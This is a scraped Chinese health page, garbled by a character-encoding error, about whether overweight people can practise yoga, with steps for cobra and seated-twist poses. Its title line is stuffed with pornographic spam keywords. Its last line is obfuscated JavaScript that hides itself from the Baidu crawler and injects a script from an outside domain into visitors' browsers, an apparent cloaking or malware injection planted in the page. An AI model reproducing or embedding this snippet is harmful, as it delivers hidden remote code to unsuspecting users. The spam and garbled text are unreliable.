亚洲肥老太bbw中国熟女,免费男人和女人牲交视频全黄,韩国精品久久久久久,九九精彩视频第一页

當(dāng)前位置:首頁(yè) > 健康 > 運(yùn)動(dòng)健身 > 正文

胖人可以練習(xí)瑜伽嗎

2017-06-12 16:11:09  來(lái)源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語(yǔ):瑜伽是一項(xiàng)非常不錯(cuò)的健身運(yùn)動(dòng),練習(xí)瑜伽的時(shí)候包括的人群很多的,因?yàn)殍べび泻芏喾矫娴暮锰?,不知道旁人可以練瑜伽嗎,瑜伽具有減肥的作用

瑜伽是一項(xiàng)非常不錯(cuò)的健身運(yùn)動(dòng),練習(xí)瑜伽的時(shí)候包括的人群很多的,因?yàn)殍べび泻芏喾矫娴暮锰?,不知道旁人可以練瑜伽嗎,瑜伽具有減肥的作用,那么胖人經(jīng)常練習(xí)是不是也能夠減肥呢,有的人覺(jué)得太過(guò)于肥胖的人是不適合練瑜伽的,因?yàn)樾枰幸欢ǖ捻g性才行,到底是怎么樣的呢,簡(jiǎn)單的給大家說(shuō)一下。

一、肉松型:體重標(biāo)準(zhǔn),但看起來(lái)胖

體重減輕:短期內(nèi)吃減肥藥、采用節(jié)食減肥等劇烈方式達(dá)到體重大幅減輕者。因?yàn)榉逝謺r(shí)肌膚纖維被撐大、破壞,造成肌膚松弛、沒(méi)有彈力,再加上減肥期間缺乏運(yùn)動(dòng),因而代謝紊亂、身體老化、肌膚彈性無(wú)法回覆。

產(chǎn)后松垮:懷孕時(shí),肚子迅速被撐大、體重飆升,產(chǎn)后雖然恢復(fù)原來(lái)體重,但松垮的肌膚卻「回不去了」,尤其是腹部、大腿內(nèi)側(cè)和臀部等部位,往往成為「肉松」大本營(yíng)。

★ 眼鏡蛇式

「眼鏡蛇式」是瑜伽的基礎(chǔ)動(dòng)作之一,可以幫助延展肩部、手臂和背部的肌肉線條,舒緩背痛。對(duì)于脊椎有問(wèn)題的人,特別是脊椎側(cè)彎、椎間盤移位者,可強(qiáng)化脊椎兩側(cè)穏定的肌肉,使脊椎慢慢地回到原來(lái)正常的軌道上,有很大的改善效果。美化手臂、后背至下半身線條,建議每回停留8-10個(gè)呼吸,每個(gè)重復(fù)5次,瑜伽磚可用厚浴巾代替。

1、俯臥預(yù)備:臉朝下俯臥在軟墊上,雙腳伸直向后延伸,手肘彎曲朝上,手掌置于胸部?jī)蓚?cè)的地板上。注意,腳尖不可以內(nèi)八,一定要向后伸直才能夠穩(wěn)定。

2、上身卷高:吸氣,手臂輕甲夾后背,以大腿夾瑜伽磚的力量,將上半身慢慢卷高,下巴抬高,并停留8——10秒。注意:雙腿有力的把磚夾緊,再將夾緊的力量傳到骨盆底,下傳到腳底板,使脊柱順著這弧線向上延伸,而非有力的夾緊臀部,造成骨盆的緊張。

3、上身放下,慢慢地吐氣,保持住背部、肚子、大腿的力量,有意識(shí)將上半身放下來(lái),手不放掉,重復(fù)步驟3和4做5次。

4、向下犬式調(diào)和,腳踩地板,臀部朝向天空移高,雙手順著身體重心后移而伸直,手掌貼地,手臂肩膀到背部都放松,即進(jìn)入向下犬式做調(diào)和。

二、泡芙型:體重標(biāo)準(zhǔn)、體脂肪爆表

飲食習(xí)慣:偏好紅肉、甜食飲料、精致糖類或油炸食物等,例如炸雞、薯?xiàng)l、蛋糕,都是卡路里較高的食物,但因容易入口,因此往往在不經(jīng)意間就吃太多,導(dǎo)致熱量、脂肪及糖份攝取過(guò)度,最后就造成體內(nèi)脂肪堆積。

穿塑身衣:長(zhǎng)期穿塑身內(nèi)衣會(huì)讓肌肉原有的支撐功能被取代,甚至逐漸萎縮。而肌肉萎縮后所空出來(lái)的位置,就會(huì)被脂肪趁機(jī)填塞,久而久之,形成內(nèi)部松軟的「泡芙型肥胖」。

★ 消除胃凸 → 坐姿扭轉(zhuǎn)

現(xiàn)代人因生活習(xí)慣容易有鮪魚肚、凸小腹,或是受便秘之苦。扭轉(zhuǎn)式可帶動(dòng)腹部?jī)?nèi)臟、腸胃活絡(luò)緩解便秘,改善消化功能,以達(dá)到治便秘瘦小腹的功效。另外,經(jīng)常練習(xí)扭轉(zhuǎn)式,能按摩脊椎恢復(fù)平衡,增強(qiáng)柔軟度和力量。排除宿便、瘦小腹,瑜伽磚可用厚實(shí)抱枕或者卷好的瑜伽墊代替。

坐姿扭轉(zhuǎn)式:

1、坐骨穩(wěn)定地坐在瑜伽磚上,脊柱向上延伸,膝蓋彎曲,雙手扶在小腿前。

2、右手虎口抵住大腿的外側(cè),吸氣,左手舉起帶動(dòng)脊柱向上伸展,腹肌上提。

3、往右扭轉(zhuǎn),吐氣,將打直的左手抵住右膝蓋外側(cè),右手環(huán)住后腰,視線朝右后方,停留8-10個(gè)呼吸。

4、往右扭轉(zhuǎn) 下一個(gè)吸氣,把頭轉(zhuǎn)正,吐氣,肩膀放松,重復(fù)步驟2和3,停留8-10個(gè)呼吸。

肥胖有很多種,減肥就成為很多胖人很重要的一個(gè)事情了,不知道胖人可以練瑜伽嗎,通過(guò)上面內(nèi)容的講述呢,其實(shí)是可以練習(xí)的,而且練習(xí)瑜伽也能夠讓肥胖的人減肥的,是非常不錯(cuò)的減肥運(yùn)動(dòng)的,但是肥胖的人練瑜伽的時(shí)候需要足夠的耐心才行。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}